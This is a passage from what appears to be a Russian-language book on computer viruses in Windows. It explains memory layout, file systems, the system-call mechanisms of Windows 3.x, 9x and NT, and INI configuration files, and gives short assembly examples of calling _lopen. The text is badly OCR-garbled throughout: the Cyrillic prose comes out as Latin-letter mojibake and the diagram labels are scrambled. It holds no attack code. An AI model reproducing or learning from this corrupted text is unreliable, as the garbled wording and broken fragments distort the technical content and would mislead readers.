TOB — MeHe/Kepy BUPTyasibHbIX MamuH «VMM32.VXD». Ilepekiioye-
HUe TIPoIeccopa M3 PeasbHOTO PEXMMA B 3AIUIIEHHbI, BBIIOIHIEMOE
ATUM MEHE)KEPOM CPa3dy MOoCJie MOIyYeHrsl YIIPABJIeH s, COOTBETCTBYET
nauvajy pa6orsi Windows. B pesyibrare nepsbie 4 MO maMsITH OCTAIOTCS
pacripe/ieJieHHbIMU 110 3aKOHAM PEAJIbHOTO peskuMa (HapUMep, B HUX 110
muneiinomy agpecy 0F0000h mo-mpesxknemy MOKHO 0OHApY:KUTh 00pa3
ROM BIOS), Ho npakTuyeckn He UCIOJIB3YIOTCS. JTaA MAMITh Pa3/IeJisi-
eTCsI BCEMU BUPTYAJIbHBIMU a[[PECHBIMU [IPOCTPAHCTBAMMU. 3aIlyCKaeMoe
32-paspsignoe npusokenue Windows 3arpykaerTcst B PDerHOH aJ[PecoB
00400000h — 7FFFFFFFh. Beiue, ¢ agpeca 80000000h, HaunHarorcs
«CHCTEMHbBIE» 00JIACTH TTAMSITH:

O B HwxHIOL YacTh 10 azpeca 0C0000000h nomazaior 32- u 16-61-
TOBbIE OUOIMOTEKHU, 0TOOPAKAEMBIE B AMSITh (haliyIbl U CIyKeOHbIe
Gydepsr siipa onepaoHHO CUCTEMBI;

O pnasee, no agpeca OFF000000h pasmernaioTcst cicTeMHbIE CerMeH-
ThI, TaOJIUIIBI IECKPUTITOPOB, TAOIMIIBI CTPAHUIL 1 T. I1.;

O mnakomell, caMble BepxXHHUE aJpeca OTBOJITCS II0J[ MCIOJHSIEMbIN
Koz sizipa Windows U BUPTYaJIbHbIX JpaiiBEPOB.

Bakto, uto «cucreMHas» 001acTh MaMATH, HadyMHAsg C ajpeca
80000000h, To:xe aBasteTCs OOIIENT 11 aIPECHBIX IIPOCTPAHCTB BCEX IIPO-
1eccoB (JIeCTBUTEIBHO, 3aUeM Il KAXKIOTrO IIPOIlecca CONep:KaTh OT-
JIeJIbHBIE KOIIUU CUCTEMHBIX OMOJNOTEK U sipa?), a 4acTh KPUTHIECKU
BaykKHbBIX pernoHoB (Haumnas ¢ agpeca 0C0000000h) paxe we 3ammmie-
Ha ot 3anucu. Takum 06pasoM, aipecHbie MPOCTPAHCTBA Pa3HbIX 32-pas-
PSIZIHBIX 327124 XOTSI B OCHOBHOM U <«IapaJLIeIbHbI», TEM HE MEHee hMe-
I0T «MEKIIPOCTPAHCTBEHHbIE TOHHEIM> B HAUajle NAMITH U B ee KOHIIE.
Ecmn B Windows 9X samyckaiorcs 16-61ToBbIe IIPOrPaMMbl, OPraHU30-
pannbie B popmare Windows 3.X, To I/Is1 HUX CO3JAETCA OT/ebHAsT BUD-
TyaJibHas MalIUHA, CPEACTBAMU KOTOPOI MOIENUPYIOTCS YCJIOBUS 9TOM
OIIEPAIMOHHON CHCTEMBI: BCE IIPOIPAMMbI COBMECTHO <«KHBYT» IJ€-TO
B cepeute 006IIero ajipecHoro MpOCTPAHCTBA, HUKHASA YacTh KOTOPOTO



202 <«  Dannosble BUpych B Windows

cozepxkut MS-DOS, a Bepxusist — cucremubiii ko, Ecim sxe B Windows
9X zanyckaiorcst DOS-nporpammbl, TO Kayk/1asi U3 HUX TIOJy4aeT B CBOE
pacIopssKeHne JIMYHOE aj[pecHoe POCTPaHcTBO pazmepom 1 M6, B Ko-
TOPOM CMOZEIMPOBAHbI TaOIUIIBI BEKTOPOB IIpepbiBanui, kog MS-DOS
7.X, sarpyzxaemblie apaiiepsl 1 BIOS. O6pasiioM st MOJEIUPOBaAHUS
CILY’KUT TI€PBBIN MerabaiT Gpuandeckoii mamsaTi Komibiorepa. [ToaTomy
€CJIU TIpU cTapTe cucteMbl B Kouurypanunonubix daitiax «AUTOEXEC.
BAT» u «CONFIG.SYS» 3arpyskaiorcs B HIaMsTh KaKie-TO PE3UJICHTHbIE
[IPOrPaMMBI U [PABEPDI, TO OHU ABTOMATUYECKHU TIOSIBITCS BO BCEX «CMO-
JIeJINPOBAHHBIX»> a/[PECHBIX TIPOCTPAHCTBAX JIJIST KAKIOU 3aITyIIEeHHON 13-
nox Windows 16-6utosoit DOS-nporpaMMsr.

Windows NT ycrpoena ropaszio 60Jiee JJorudno 1 HajesxHo. Eii e tpe-
Oyerca MS-DOS, Bes 3arpyska BBIIOIHSETCS CPEICTBAME CaMOM OIIepa-
nuonnol cucrembl (Moaysimu «<NTDETECT.COM» u «<NTLDR» nipu
yuactun «BOOT.INI»). Cpasy nocie nepsbix 64 K0, cirykammx ajist <oT-
JIOBa» HENPABUJIBHBIX MPOrPaMM, PACIOIATAIOTCA HeGObIIe CyKes-
Hble 06J1ACTH JIAHHBIX, COIEPIKAIIIE, HATIPHMED, TEKCTOBbIE CTPOKU OKPY-
skenus. Ilpukiaznbie mporpaMMbl MOTYT 3arpy’KaThCsl OIE€PAIUMOHHOI
cucremoit yxe ¢ agpeca 10000h, x0T 06bIYHO pPasMENIAIOTCS HECKOJIb-
KO BblllIe, rae-unbyap B paitore azpecos 10000000h-50000000h'. Cuy-
sxKeOHbIe OUOMNOTEKN «KUBYT» B aJIPECHOM ITPOCTPAHCTBE BhIIIE ajpeca
70000000h. B unrepsane 7FFFF000h—7FFFFFFFh sapesepsupoBaio
MECTO JIJIsI €Ille OTHOTO «KAMKAHAY, AHAJIOTMYHOrO TOMY, KOTOPBII pazme-
HIaeTcs B HadaJbHbBIX ajpecax namsaTu. Beiire, ¢ agpeca 80000000h Ha-
YITHAETCS «CHCTEMHAST [TOJIOBUHAY» MAMSITH, T/I€ PACIIONATAIOTCs KOJ KOM-
oHeHToB stapa Windows, 1ecKpunTopHbie TabIuibl U TabJIMIIbI CTPAHMIIL,
cayKeGHble JJAHHBIE OTIePAIMOHHON CUCTEMBI | T. TI., IPUYEM 9TH PEruo-
HBI [IPEUMYIIIECTBEHHO 3AIUIIEHbI OT JOCTYIA. AJipecHble TPOCTPAHCTBA
BCEX MPUKJIAHBIX IIPOTPAMM MOKHO CUUTATD MOJHOCTHIO «I1APAJLIETbHbI-
MU», XOTsI HA CAMOM JIeJI€ JIJisI «O[IUHAKOBBIX» (hParMeHTOB IIaMsITU B Pa3-
HBIX IIPOCTPAHCTBAX MCIIOJIB3YIOTCSI O/IHU U Te JKe (hu3ruecKue CTPAHUILBI,
a «I1apaJlIeJIbHOCTh» UCKYCCTBEHHO CO3/IAETCSI IIPU TIOMOIIU MEXaHI3Ma
«COpy-on-write» BO BpeMs IOIBITKUA MOAUMPUIIMPOBATH COAEPKUMOE OJi-
Horo us Takux npocrparcts. Ecau 8 Windows NT sairyckaiorcs mporpam-
Mol B popmate MS-DOS nmn Windows 3X, To cOOCTBEHHBIX afpeCHbIX
[IPOCTPAHCTB OHU He IOJIyYalOT, & YCJIOBUS /i UX (PYHKIIMOHUPOBAHUST

! TIpakTu4ecku Bce KOMIOHOBIIMKU 32-OUTOBBIX TIPUKJIAHBIX TIPOIPAMM <«ITPO-

CAT» pa3MentaTh 9TH mporpaMmbl 1o aapecy 400000h, u oneparinoHmast cucrema
PEIIKO OTKA3BIBAET M.
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(tabmuna BekTOpOB IpepbiBanuii, kog MS-DOS 5.0, o6macts BIOS u
pouee) UCKYCCTBEHHO MOJEIUPYIOTCS B Heipax 32-0MTOBOrO Ipoiiecca
«<NTVDM».

4.1.6. daitnosbie cucTemMbl

ITpu obcysKaeHr BOMPOCa KOMIIBIOTEPHBIX BUPYCOB B OIEPAI[HOHHBIX
cucremax kiacca Windows HeoOX0IUMO OTMETHUTD CJeAyiomire 00CTos -
TEJIbCTBA.

Windows 3.X mipu cBoeit pabote ortupaercst Ha GailyioBy10 CHCTEMY TOI
Bepcuu MS-DOS, u3 koropoit ona craproBajia. Biipouem, ona yxe He-
c1ocobHa cTapToBaTh ¢ AUCKa, oTdopMmarrpoBaHHoro B MS-DOS v7.1 o
npasusiam FAT32, eii nonasait tosbko FAT12 unu FAT16.

Windows 9X npusHeca HekoTopbiil pasHo6oit. Windows 95 opuen-
tupyercst Ha (aiioyio cuctemy VFAT, a Windows 98/ME — nubo nHa
VFAT, 1160 na FAT32 (110 sKelaHuio 10/1b30BaTe s, BbIIOJHSIONIEr0 Uc-
xozHoe (hopMaTHPOBaHUe JUCKOBBIX Pas3aesioB). PaboTa s1ux (hailjioBbix
CUCTEM OCHOBBIBaeTca Ha monatun FAT — criennnasbHOM TaOIUIIbL, OITACHI-
BaIOIIEN IPUHAJJIEKHOCTD IMCKOBBIX KJIACTEPOB TOMY U/ UHOMY (haiiy.
WNudopmaiug o nepBoM kiactepe daiina BMecTe ¢ uMeHeM (aiiia u ero
OCHOBHBIMU TIOJTb30BATENLCKUMHU XaPAKTEPUCTUKAMU (BPEMEHEM CO3/a-
HUSE, aTPUOYTaMU IOCTYTIA U TIPOYUM ) XPaHUTCS B (haliax 0cob6oro Buaa —
B karayorax. Karasoru daiinossix cuctem VFAT u FAT32 orsimyaiorcst ot
cBoux GoJiee PaHHUX aHAJIOTOB BO3MOKHOCTBIO MOJJIEP/KUBATD JJIHHHBIE
(7m0 255 cuMBOJIOB) MeHa (haiiJIoB 1 BIOKEHHBIX KATATOTOB, TPIYEM UMST
MOJKET COIEPKATh MPOOGEJIbI, TOUKK U JPYTUe paHee He JOMYCKaBIITHeCs
CUMBOJIBL. J[JI1 COBMECTUMOCTH ¢ IPOTPAMMaMMU, HAITMCAHHBIMU 10 BO3-
nukaoBenns VFAT u FAT32, daiisibl 1 KaTtaaorn oHOBPEMEHHO MOTYT
UAeHTUUIUPOBATLCS KaK 0 MOJHOMY JIJIMHHOMY MMeHU (HaIpUMeD,
«Example of long name. TXT»), Tak 1 110 «ycedeHHOMY> BapuaHTy (Ha-
npumep, «EXAMPL~1.TXT»). /lsimHHble MMeHa XPAHATCS B 3AIMCIX Ka-
TaNoroB B AByxOaiiToBoi koguposke Unicode.

Windows NT npeumyliectBeHHO opueHTUPYeTCs Ha (hailloBYIO Ch-
cremy NTFS, xoTs Ha atare ycTaHOBKU OIepaliuOHHON CUCTEMbI MOKHO
caenarsb BbiOop B 11063y FAT. Windows NT 4.0 ere He 1moagep:xubaia
JIMCKOBBIX pa3ziesios, orgopmaruposanHbix moj FAT32 (Brnpouewm, ata
BO3MOKHOCTH 00€CIeunBaIach MPU MOMOIIH ITUPOKO PACIPOCTPAHEH-
HBIX JIPaliBEPOB OT CTOPOHHUX ITPOU3BOIUTENIEN ), HO BCE MTOCIEYIOIIIe
Bepcun Windows NT ¢ sToii 3ajaueil yxe CIpaBIsiiuch JIETKO U HEIIPU-
Hysxaerno. 1M waobopor, daitnosas cucrema NTFS 1o ymonuanuio «me
apyxecrsennas Hu s MS-DOS, nu aia Windows 9X, Ho 3HamMeHm-
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toie apaiiBepnl cepun NTFSDOS B Toil niim nHOIT cTeneHn pemaT aTy
npobemy.

Pabora daiinosbix cucrem kinacca NTFS ocHoBbIBaeTcst Ha NOHATHM
Memaghaiina — CTPYKTYpBl JAHHBIX, Pa3MEIeHHON B CIIEINAIbHO BbIfe-
JIEHHOM U 3aIUIIEHHOM OT JIOCTYTIA CO CTOPOHBI MTPUKJIATHBIX TIPOTrPAMM
perroHe *KecTKOro nqucka. Buytpu meradaiiyia XpaHsaTcs OnucaTesin Bcex
JIMCKOBBIX (hailJIoB 1 KaTaJIOroB — (hailJIoB CIIeNATbHOTO BU/IA, COEPIKa-
MIMX CCBHIJIKK HA IpYyTHe (haiiibl M KaTaJIoru. PazmMep Kaskoro Takoro onu-
caresist 00b14HO cocrasiisger 1 K6 (xoTs Mosker ObITh yBesdeH 10 4 K6), u
B HeM XPaHUTCS CrysKebHas nndopmanus o (aiise: ums (B AByXOaHTOBOI
koauposke Unicode u juriHOit 10 255 CUMBOJIOB), pasMep, JIata U BPEMsI
cosmaHust, arpuOyThI gocTyna u mpodee. Ecim GbiTh Gosiee TOUHBIM, 9Ta
uHbopMmalms ohopMIeHa B BUJIe CChIJIOK HA JIOTHYECKIe MHPOPMAIIUOH-
Hbl€ e[UHUIIBI — TaK Ha3blBaeMble 70moxu (He MyTaTh C IPOrPAMMHBIMU
MIOTOKAMU BHYTPH UCIOJIHSAeMBbIX TIpolieccoB!). B onucarese daiiia nume-
€TCs CCBhIJIKA Ha TIOTOK, OTBEYAONINH 32 MMsI (haiijia; cChlIKa Ha TIOTOK, OT-
BevaloNuii 3a pa3Mep (aiiya; cChIKa Ha TOTOK, OTBEYATOIIHIT 32 JAHHbIE
caiina, u T. 1. OU3NYeCKU caM¥ HOTOKM MaJeHbKOTO pa3Mepa (1aTa, Bpe-
M, TaHHbIE KOPOTKUX (hAiJIOB U T. I1.) Pa3MeIIaioTCA B TOM e OlucaTese
(aiiira, Te ¥ CCHIIKM Ha HUX, a «OO0JIbIINE> MOTOKU (JaHHbIE JTMHHBIX
daiinoB) — B objacTu AuCKa, He 3aHATON Mertadaiinom. VHTEpecHO U
Ba)KHO, YTO BHYTPHU OJHOTO OMUCATENS MOTYT XPAHUTBHCS yKa3aTeJau Ha
HECKOJIBKO MOTOKOB JIAHHBIX, CBA3aHHBIX C OTHUM U TeM Ke (aiiom: Ha-
MIPUMeEp, B OJTHOM COJIEP’KUTCST TEKCT JJOKYMEHTA, & B [PYTOM — CBEJEHUS
00 aBTOpe.

4.1.7. 3anpocbl NpuKnagHbIX NporpaMmm
K onepauuoHHOW cucteme

[IpakTuyeckn HU OfHA MPUKJIAJHAS TTPOrPAMMa He MOXKET (QyHKIIMOHU-
poBatb 6e3 (pailJIoBOro, 9KPaHHOrO U KJIaBUATYPHOIO BBOAA-BhIBOAA, €3
paciipezieJieHusl TAMATH [10]] CBOM HY Kbl ¥ [IPOYET0, TO eCTh Oe3 CepBuUC-
HBIX CPEACTB (MJIU TIPOCTO CEPBUCOB), TIPEIOCTABJISIEMbBIX €l CO CTOPOHbI
OTIEPAIlMOHHON CUCTEMBI.

4.1.7.1. Cucmemnuwte cepsucot 6 MS-DOS

B MS-DOS jocTynl K CMCTEMHBIM CepBHCaM ObLI Peaji30BaH Yepes
mporpamMMHbIe ipepbiBanust, Harpumep uepe3 «INT 21hs. Crexyer umern
B BUJLY, YTO PellieHue mMpoOIeMbl, CBI3aHHOM ¢ T€M MJIH WHBIM CEPBUCOM,
0OBIYHO JIOCTUTAJIOCH B PE3yJIbTaTe JJIMHHON I[EMTOYKH BHYTPEHHUX BBI30-
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BOB IIPOIIE/LY P, PACTIONIOKEHHBIX HA PA3HBIX APXUTEKTYPHBIX YPOBHSX OT1e-
paronHoit cucrembl. HanGoJiee JTTMHHBIMY ¥ TTOJIE3HBIMHY JIJ51 U3YUYEHUS
HTHU TIETIOYKY OBLIU B TOM CJIyYae, KOT/[a CEPBUCHBIN 3a1IPOC TI0/[pasyMeBal
B3aMMO/IeiicTBIE ¢ KaKUM-HUOYAb BHELIHUM ycTpoicTBoM. Hampumep,
nonbiTka yrenus ¢aitna (npepsiBanue 21h, pynxmms 3Fh) nemunyemo
CBOJIMJIACH K 3AIIPOCY CEPBUCOB JIpaiiBepa yIpaBJieHsl BBOJOM-BbIBOJIOM
(npepeiBanue 21h, IOCTL-dyukuuu rpymne: 44h), kotopsie, B cBOIO 0ue-
pelnb, B3aUMOJIEHCTBOBAJIA C CEPBUCAMU YTEHUS JIOTHYECKUX JIMCKOBBIX
cexkTopos (1pepbiBanue 25h), onupaBiuMucs B cBoeil paboTe Ha CepBHC-
uble npouenypbl BIOS (upepoisanue 13h), kotopble, HakoHel, oOpaia-
JIUCH K ITOPTaM JIMCKOBOTO KOHTPOJLIIEPA.

MS-DOS

Hoiiiariieg WHTepdpeiic- Apaiieepei

D?)S-npﬁclprpamma"" Hilin yposers [P yetpoiicts  HIP| ROM BIOS _>?:§)u<;|;§$sc
MS-DOS (DOS BIOS)

Puc. 4.4 < Apxutektypa MS-DOS

4.1.7.2. Cucmemnvie cepsucot 6 Windows 3.X

B Windows 3X mpukagabie Windows-1rporpaMMbl i CHCTEMHBIE KOM-
[MOHEHTBI MTOJYYUIN B CBOE PACIOPSKEHUE OUOIMOTEKN CIEI[HATU3UPO-
BAHHBIX CEPBUCHBIX IMPOIEAYP, UMeHyeMble B coBoKynmHocTH Win API
(Windows Application Program Interface):

O USER - orBevana 3a HOJb30BATEIbCKUN BBOJ-BBIBOA (paboTy

C KJTaBUATYPOH, MBIIITbIO, 3BYKOM U T. I1.);
O GDI - orBevasa 3a okoHHYIO rpaduKy (pucoBaHME TOUEK U JINHUIA,
3aKpacky obJacreii, 0ToOpaskeHUe U MepeMelieHne OKOH | T. 11.);
O KERNEL - orBeuasa 3a obitecucreMmubie onepanuu (hailioBbrii
BBOJI-BBIBO/I, YIIPABJIEHUE TTAMSATHIO, 3arPY3KY U BBIIIOJIHEHNE TIPO-
rpamM, TIOZIJIEPKKY CeTeBBIX (DYHKITU 1 T. 11.).

Bospmtcro cucrem cemeiictBa Windows 3X morsin paborars Kak
B 3allIUIIEHHOM, TaK ¥ B PeaJbHOM pekuMe Tporieccopa. Jlaneko ne Bce
3aIPOCHI K OMEPAIIMOHHOI CUCTEME, TOCTYTIABIINE CO CTOPOHBI TPUKJIA/L-
HBIX [IPOTPAMM, HOJHOCTHIO 00CIYKUBATIUCH caMUMU Tiporiesypamu APT
wn Windows-zpaiiBepamu. Hemasiast 4acTb U3 HUX B KOHEYHOM CUETE
ceonuiach K BoI3oBy API-pynkiun «DOS3CALLy, koTopas ciyskniia
nepexogaukoM Kk MS-DOS. Kpome toro, Windows-mporpamMmbr, axe
paboTaroliie B 3alUIEHHOM PEKUMe, MOTJIM U HEOCPEJACTBEHHO BbI-
3biBatrh npepbiBanue 21h. TTosToMy B paspbiB HUKHEI CTPEJIKH, BEAYIIEN
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K BHEITHEMY yCTPOHCTBY, HEOOXOAMMO BCTABUTh BCIO TIETIOYKY BbI30BOB,
xapaxrepuyio mysg MS-DOS u paccmoTpennyio Bbiiiie (M. puc. 4.5).

Windows-
16-BuTtHan : Apansep
NPUKNEAHES e Win APl ycTpoicTea

SEFpANS KERNEL \
BHewHee

32-GutHan I USER I ycTpoRcTeC

npuknagHas = Win32s

nporpamma GDI ‘r
MpuknaaHas | wms-pos —»| ROMEBIOS
DOS-nporpamma >

Puc. 4.5 < Apxutektypa Windows 3X

Cuie/yer TaksKe OTMETUTD, UTO MEPBbIe 32-OUTOBbIE IPOTPAMMBI TTOSIBU-
sucs etre B anoxy Windows 3X. TToatomy jiJist UX MOJIEPSKKE CO CTOPOHBI
9TOH omeparMoHHol crcteMbl hupmoit Microsoft Gbia paspaborana oT-
neabHo nocrasissinasics API-6ubanorexa Win32s, ipakTH4ecKky HU4ero
CaMOCTOSITEJIBHO He JIeJIaBINasi, a MPEICTABJISIBINAs cO00i MepexXOIHIK
ot 32-6utosoii nporpammbl K Win API, To ectb k 16-6UTOBBIM MOZLYJIAM
USER, GDI u KERNEL.

PaceMotpum ocobeHHOCTH 0OpaliieHust K CHCTEMHBIM cepBrucaM B Win-
dows 3.X na nmpumepe BoizoBa API-dyukiun «_lopens, npeaHasHadeHHON
ULt OTKPBITUsI (Daiiia u Tpedyrolieil AByX napamerpos: 1) cTpoky uMeHu
OTKPbIBAeMOT0 (haiiiia; 2) c10Bo (HJIaroB A0CTyHA K OTKPbIBAEMOMY (haiiry.
ITpu ycuexe yukims Bosspamniaet geckpuritop (handle) orkpsrroro daii-
sa. Camoe TJ1aBHOe, Ha 4TO He0OXOIMMO 00PATUTh BHUMAHUE: [TAPAMETPBI
(YHKIIUU TIepeIatoTcs Yepes CTeK, IIPUYEM ITOMEIAIOTCS B HETO B IIPSIMOM
nopsijike (4TO COOTBETCTBYET COTJIAIIEHUIO, TIPUHSITOMY B si3bike Pascal),
CTEK OUMIIAETCST BHYTPU caMOl (DYHKIIUHU, pe3ysibraT paboThl BO3Bpala-
etcs B peructpe AX.

1E push ds ; CermeHT CTpokW umeHu daina
680300 push offset FILENAME ;. CMeleHne CTPOKKM MMeHW odalina
FF361000 push FLAGS . Onarn

9A0000FFFF call _lopen ; Bbi30oB cepBuca

A31200 mov HANDLE, ax ; CoxpaHeHue pesynbTaTa

PasymeeTtcst, 9TOT BBI30B cucteMHoro cepsrca Windows 3.X B komeu-
HOM MTOTE BCE PABHO CBOAMTCS K 0OpaboTke ceprca MS-DOS co 3naue-
nuem 3Dh B peructpe AH u draramu goctyna B perucrpe AL.
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4.1.7.3. Cucmemnoie cepsucot 6 Windows 9X

B Windows 9X nonnonennas 32-6utosas API Tak 1 He MosSBUIACE, XOTS
yuaactue MS-DOS B obcayRkuBaHNT CUCTEMHBIX 3arpocoB o1 Windows-
MIPOrpaMM HAKOHEI[-TO 0KA3aJI0Ch MPaKTUUeCKu uckiodeno. [Iporpamm-
HBII KOJI OII€PAIMOHHON CUCTEMBI, 00CTYKUBAIOMINI CHCTEMHbIE CEPBHICHI
B Windows 9X, paszaenen Ha giBe yactu: Ha 32-6utoByio u Ha 16-6utosyio.
Becob 32-6utoBbiii kon Haxoautcs B oubamorekax «KERNEL32.DLLy,
«USER32.DLL» u «GDI32.DLL» (0o6pasyomux Win32 APT), a 6oee
KOMITAKTHBII U OBICTPBII, HO MeHee HaJlexKHbIiT 16-6uTOBBIN KOJI pactpe-
nesien 110 6Gubanorekam, Gazupyomumces B daiiax «KRNL386.EXE»,
«USER.EXE» u «GDLEXE».

[Mopasastioniee GOMBIMHCTBO 06PAGOTUMKOB CUCTEMHBIX 3aITPOCOB, HC-
MOJIb3YEMbIX B KOMIBIOTEPHBIX BUPYCAX, CKOHIEHTPUPOBAHO B GUOIMO-
Teke «KERNEL32.DLL», moatomMy Mbl 320CTPUM Hallle BHUMaHUE MMEH-
HO Ha Heil. B GOJIBITMHCTBE CYIIECTBYIONIMX HA MOMEHT HAITUCAHUS 9THX
crpok Bepcustx Windows 9X 6ubsinoTeka 3arpykaercsi B pasjiesisieMbiit
PEryoH a[peCHOro IPOCTPAHCTBA 110 (PUKCHPOBAHHOMY JIMHETHOMY ajipe-
cy 0BFF70000h 1 Tonsko 8 Windows ME 1o agpecy 0BFF60000h.

Pasymeercst, KoJ 9T0Oi GUOJIMOTEKN, MCIIOJHSIOMNNACA B 3-M KOJIbIE
3AIINTHI, HE CIHOCOGEH 00CAYKMBATh 3aIIPOCHI, AJIs KOTOPBIX Tpedyercs:
KOMIIETEHIIUS si/[pa orepaiiioHHol cuctembl. [loatomy B « KERNEL32»
PelyCMOTPEH MeXaHU3M OOpallleHrs K KOMIIOHEHTaM HYJIEBOTO KOJIbIIa,
peasn30BaHHbII Yyepes 06paboTKy UCKITIOUEHWIT, BOSHUKAIONINX B PE3YJIb-
Tare BbI30Ba IPOrpaMMHOTo npepbiBanust 30h:

3-e KonbLO 0-e konbLo
3aLNTHI 3aLnTh

32-6uTHas Windows-

NpUKNanHas Win32 APl =] INT 30H —p| Opaiieep

nporpamma ycTpoicTea

BHewHee
YCTPOWCTBO

Puc. 4.6 « YnpouweHHasa apxutektypa Windows 9X

Eciu ske HeoOX0AMMOCTh 00PATUTHCS K JpaiiBepaM yCTPOICTB BO3HU-
Kaer y npuioskenuii 0-ro KoJibita (HampuMep, KOr/ia [paiiBepbl B3auMo-
JEHCTBYIOT IPYT € APYTOM), TO STOT BBI30B BBITVISIUT CJAEAYIONIM 00pa-
30M:
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int 20h
dw ? . Kon 3anpoca
dw ? ;. WnentudukaTtop obpaboTynka 3anpoca

Kommussitopsl ¢ si3bika acceMbiiepa TeHEPUPYIOT TMOA06HYI0 KOMOH-
HAIIMIO0 KOMaH/[ 1 IAHHBIX, €CJIU BCTPETST B UCXOTHOM TEKCTE IIPOrPaM-
Mbl Makpokomanay «VxDCall» (obpaiietnue kK BUpTyaibHOMY ApaiiBepy
yerpoiicta) nian «VMMCall» (o6pamienue k MeHemKepy BUPTYalbHbIX
marus). Heobxoumbre mapamMeTphl iepeaaioTes 06paboTurKy 3ampoca u
06paTHO Yepe3 PErHCTPhI WK Yepe3 cTek. B obieM cirydae KOHKPETHbIE
dhopmatbl 06palleHnii K TeM MU WHBIM KoMiloHeHTaM sapa Windows 9X
OYeHb CKYIHO AOKYMeHTHpoBaHbl (pupmoii Microsoft, Tak uto npaxTuye-
CKU BCsI NH(MOPMAITHS O HUX — PE3YJIbTaT XaKePCKUX «PACKOTIOK» .

4.1.7.4. Cucmemnvie cepsucot 6 Windows NT

Windows NT wucrosbayer st 06CayKMBaHUS CHCTEMHBIX 3alIPOCOB
TOJIbKO 32-OMTOBBIN IIPOTPaMMHbBIN KOJ. B IpuHImIle, aTa onepaiioH-
Hast CUCTEMa MOKeT 00CIy/KUBATH 3aIPOCHI, IOCTYNAIOI[UE HE TOJIBKO CO
croporbl Windows-TiporpaMm, HO U CO CTOPOHBI TIPOTPaMM, CKOHMUTY-
pupoBanHbix 1o ipaBusiam IBM OS /2 u Posix (3To mporpaMMHbIii cTan-
JIapT, KOTOPOMY cTapaiotcs yaoBiaeTBopaTh Bee KiaoHbl UNIX). TToaTomy
Windows NT HenocpeacTBeHHO 00CIyKUBAET BCe CHCTEMHbIE 3alIPOCHI
B MozyJie «NTDLL.DLL» (aTo Tak nazsiBaemsiii Native APT), a mpuksaj-
HBIM [TPOrpPaMMaM TIPEJOCTaBIIsAeT MHTepdeiicHbIe MOLYJIH, CoIepKalne
TOJILKO MEPEXOJIHUKH K 9TON Gubsmoreke. [ epexoa B HyJIeBOE KOJIb-
110 3anuThl U3 «NTDLL.DLL» ucnosb3yeTcst BbI30OB TPOTPAMMHOTO TIpe-
poiBanust 2Eh mam crenmanbias mammaaas wHeTpyKins «SYSCALL»
(mns mponeccopos Intel). s copmectumoctu ¢ Windows-mporpammamiu
nnrepdeiicHbiii Moysib, cooTBeTcTBYIonmit Win32 API, naspiBaercsa
«KERNEL32.DLL». On comepsur 60ee 4 Thicstd PyHKIMIA-TIEPEXOIHM-
KOB, UMeHa 1 (hOpMaThbl BbI30BA KOTOPBIX COBIAJIAIOT C UX aHAJIOTAMU U3
Windows 9X, a TakkKe HECKOJBKO COTEH «HOBBIX» (DYHKIMH. B pasmbix

3-8 Konbuo 0-e KonLUo
_’ POSIX -’ 3aWKTEI 3AWNTBI
$2-bumnian INT 2Eh Windows- =
npuknanran e | Win32 API [ Native APl |l syscaLL || apaiieep | :TeLgt‘ngc
HpoipaMma SYSENTER ycTpoicTea ycrpon
> 0s/2 P

Puc. 4.7 « YnpouweHHas apxutektypa Windows NT
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Bepcusix u BapuanTax Windows NT 6uborexra 3arpyskaercst o pasHbiM
JIMHENHBIM ajipecaM B auanasone 77E00000h + 77F00000h.

B Windows 9X u NT BBI30B CHCTEMHBIX CEPBHCOB UMEET CBOU OCO-
GerrocT. PaccMOTprM MX Ha TIpUMepe Bce Toi ke GyHKIIK «_lopens,
ocrapyerHoit B Win32 API st coBMeCcTUMOCTH € TIpOrpaMMaMi, pa3pa-
6ortannbiMu 11t Windows 3X. TTapamerpbl GyHKIMU [IepefaloTcs yepes
cTeK B 0OpaTHOM TOpsi/iKe (UTO COOTBETCTBYET COTIAIeHUsIM sA3bika Cir),
CTEK OYMINAETCss BHYTPU (DYHKIUU (Y4TO COOTBETCTBYET COIJIAIIEHUSIM
aspika Pascal), pesyibrar paborsl Bosspaiiaercs B perucrpe EAX. Ilo-
JNOOHBII «rHOPUI» MOJYYIII CUMBOJIMYeCKOoe HarMeHoBaHue «stdcalls.

FF3504204000 push FLAGS ; Onarn

6808204000 push offset FILENAME ; AOpec CTpOoKWM umeHu daina
E834304000 call _lopen ; Bbi30B cepBsuca

A300204000 mov HANDLE, eax ; CoxpaHeHve pesynbTaTa

4.1.8. KoHdpurypuposaHme onepaumoOHHOW CUCTEMbI

Kougurypuposanue Windows, To ecTh HHANBHyaTbHAST HACTPOUKA 9K-
3eMILISIPA OIEPAIIMOHHONM CUCTEMbI HA KOHKPETHBIE ITPOTPAMMHO-AIIIA-
parHbie ycyoBHs (DYyHKIIMOHUPOBAHUS, BO3MOKHO PAa3HBIMM METOIAMU.
PasymeeTcst, 5T0 OTPOMHBITT TT0 06BEMY U HEBEPOSITHO CITOKHBIN BOTIPOC,
MO3TOMY MBI KPATKO PACCMOTPUM TOJIBKO T€ €T0 acleKThI, KOTOPBIE I0-
TEHIIUAJIbHO ITO3BOJIAIOT MOJIYYUTDH YIIPABJICHNUE IOCTOPOHHEMY KO/, Ka-
KOBBIM U SIBJISIETCS BUPYC.

4.1.8.1. Kongueypauyuonnvie gaiinot Windows 3.X

Ira cucreMa, gBisBIIagcs <rpadudeckoii 00010uKkoii» ausa MS-DOS,
WCIIPaBHO TMOJJIEPKUBAIA BCE HACTPOWKHU W BBITIOJHSIA BCE 3arpy3Kn
JIpaiiBepoB, YIOMSHYTBIX B KOH(buryparmmonHeix (aitmax «CONFIG.
SYS» u «<AUTOEXEC.BAT». Jliobas DOS-nporpamma, 3aiylieHHast
us-nog Windows, moJjiyyajia ux B CBoe pacropsukenue. [ HacTpoiiku
ke crerduuecknx Windows-mapaMeTpoB ObLIN BBEIEHBI €IIE [BA KOH-
duryparmonnnsix daitna: «WIN.INI»> u «SYSTEM.INI» (kpome Toro,
HEeOOJIbIIasT YacTh JIOMOJHUTENbHBIX HACTPOEK IPOM3BOAMUJIACH TaKXKe
B daittax «PROGMAN.INI», «WINFILE.INI», «CONTROL.INI» un
«DOSAPP.INI»). Bce atu (aiiyibl pasMeniaanch B CHCTEMHOM KaTajiore
Windows u umMesu 0011YIO TEKCTOBYIO CTPYKTYPY:

[3aronosokPaspenal]

KnioueroeCnoso1=3Ha4eHne
KnioyesoeCnoo2=3Ha4eHne2

[3aronosokPa3pena?]
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Paccmorpum HarboJiee aKTyasibHbIE JI7sI HAC B KOHTEKCTE JTaHHON KHU-
TU HACTPOUKMU.
